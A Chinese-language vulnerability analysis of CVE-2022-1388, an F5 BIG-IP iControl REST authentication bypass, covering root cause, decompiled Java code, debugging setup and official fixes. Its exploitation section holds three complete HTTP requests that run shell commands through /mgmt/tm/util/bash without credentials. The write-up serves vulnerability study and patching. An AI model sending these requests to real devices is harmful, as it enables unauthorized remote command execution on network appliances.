F5 BIGIP CVE-2022-1388 认证绕过漏洞分析
字数 1440 2025-08-27 12:33:37
F5 BIG-IP CVE-2022-1388 认证绕过漏洞深入分析与利用指南
漏洞概述
CVE-2022-1388是F5 BIG-IP iControl REST API中的一个认证绕过漏洞,允许未经授权的攻击者通过构造特殊HTTP请求绕过认证机制,进而执行任意系统命令。该漏洞影响多个版本的F5 BIG-IP设备,危害等级为高危。
漏洞影响范围
- 受影响版本:16.1.0-16.1.2、15.1.0-15.1.5、14.1.0-14.1.4、13.1.0-13.1.4
- 已修复版本:16.1.2.2及更高版本
漏洞原理分析
认证流程概述
F5 BIG-IP iControl REST API的认证流程分为两层:
- Apache层认证:前端由Apache处理,负责初步认证检查
- Jetty层认证:后端由Jetty处理,负责最终认证决策
认证绕过机制
Apache层绕过
在受影响版本中,Apache层的认证检查存在以下逻辑缺陷:
- 仅检查请求头中是否包含
X-F5-Auth-Token字段 - 只要该字段存在(即使值为空或任意值),即可绕过Apache层认证
Jetty层绕过
Jetty层的认证逻辑更为复杂,存在多种绕过方式:
-
Host头检查绕过:
- Jetty会检查
X-Forwarded-Host头(由Apache从Host头自动生成) - 当
X-Forwarded-Host值为127.0.0.1或localhost时,配合有效的Authorization头可绕过认证 - 当
X-Forwarded-Host值为127.4.2.1且用户名为f5hubblelcdadmin时也可绕过
- Jetty会检查
-
Hop-by-hop头处理绕过:
- 利用HTTP协议的hop-by-hop特性,通过
Connection头指定X-F5-Auth-Token为逐跳头 - 导致Apache处理后移除
X-F5-Auth-Token头,使Jetty认为该头不存在 - 结合
X-Forwarded-Host为空的情况,Jetty会默认使用localhost进行认证
- 利用HTTP协议的hop-by-hop特性,通过
漏洞利用方法
方法一:标准利用(Host为127.0.0.1)
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs":"-c id"}
方法二:特殊用户利用(Host为127.4.2.1)
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs":"-c id"}
方法三:Hop-by-hop头利用
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token, X-Forwarded-Host
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs":"-c id"}
调试分析
调试环境搭建
-
编辑
/var/service/restjavad/run文件,添加调试参数:JVM_OPTIONS += " -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777" -
开放防火墙端口:
tmsh security firewall modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } } -
使用IDEA等工具连接8777端口进行远程调试
关键代码分析
在RestServerServlet.class的service方法中可观察请求处理流程:
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
// 特殊用户绕过逻辑
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
// 其他情况处理
// ...
}
} else {
// localhost/127.0.0.1绕过逻辑
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
修复方案
官方修复措施
-
mod_auth_pam模块修复:
- 不再仅检查
X-F5-Auth-Token是否存在 - 新增对
X-F5-Auth-Token值的有效性验证
- 不再仅检查
-
Apache配置修复:
<If "%{HTTP:connection} =~ /close/i "> RequestHeader set connection close </If> <ElseIf "%{HTTP:connection} =~ /keep-alive/i "> RequestHeader set connection keep-alive </ElseIf> <Else> RequestHeader set connection close </Else>- 强制规范化
Connection头处理 - 防止通过hop-by-hop特性移除关键头字段
- 强制规范化
临时缓解措施
- 限制对iControl REST API端口的访问
- 更新到F5 BIG-IP 16.1.2.2或更高版本
总结
CVE-2022-1388漏洞利用了两层认证机制的设计缺陷和HTTP协议特性,通过精心构造的请求头组合实现认证绕过。该漏洞展示了在复杂系统中,安全边界各组件之间的交互可能引入意想不到的漏洞。修复方案不仅需要修补代码逻辑,还需要考虑协议层面的安全配置。